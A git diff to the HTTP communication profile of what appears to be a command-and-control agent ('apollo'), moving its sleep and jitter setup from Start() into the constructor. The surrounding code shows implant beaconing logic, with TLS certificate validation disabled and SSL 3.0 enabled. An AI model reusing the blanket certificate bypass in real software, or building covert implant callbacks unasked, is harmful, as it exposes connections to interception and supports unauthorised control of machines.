diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index f1b46f3a..8ef0e6ce 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -134,7 +134,9 @@ public HttpxProfile(Dictionary data, ISerializer serializer, IAg ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; // Enable TLS protocols: TLS 1.2, TLS 1.1, TLS 1.0, and SSL 3.0 ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3; - + + Agent.SetSleep(CallbackInterval, CallbackJitter); + #if DEBUG DebugWriteLine("[HttpxProfile] Constructor complete"); #endif @@ -990,10 +992,7 @@ public void Start() #if DEBUG DebugWriteLine("[Start] HttpxProfile.Start() called - beginning main loop"); #endif - - // Set the agent's sleep interval and jitter from profile settings - Agent.SetSleep(CallbackInterval, CallbackJitter); - + bool first = true; while(Agent.IsAlive()) { @@ -1005,7 +1004,7 @@ public void Start() } DebugWriteLine("[Start] Beginning GetTasking call"); #endif - + bool bRet = GetTasking(resp => { #if DEBUG @@ -1032,7 +1031,7 @@ public void Start() #endif Agent.Sleep(); } - + #if DEBUG DebugWriteLine("[Start] Main loop ended"); #endif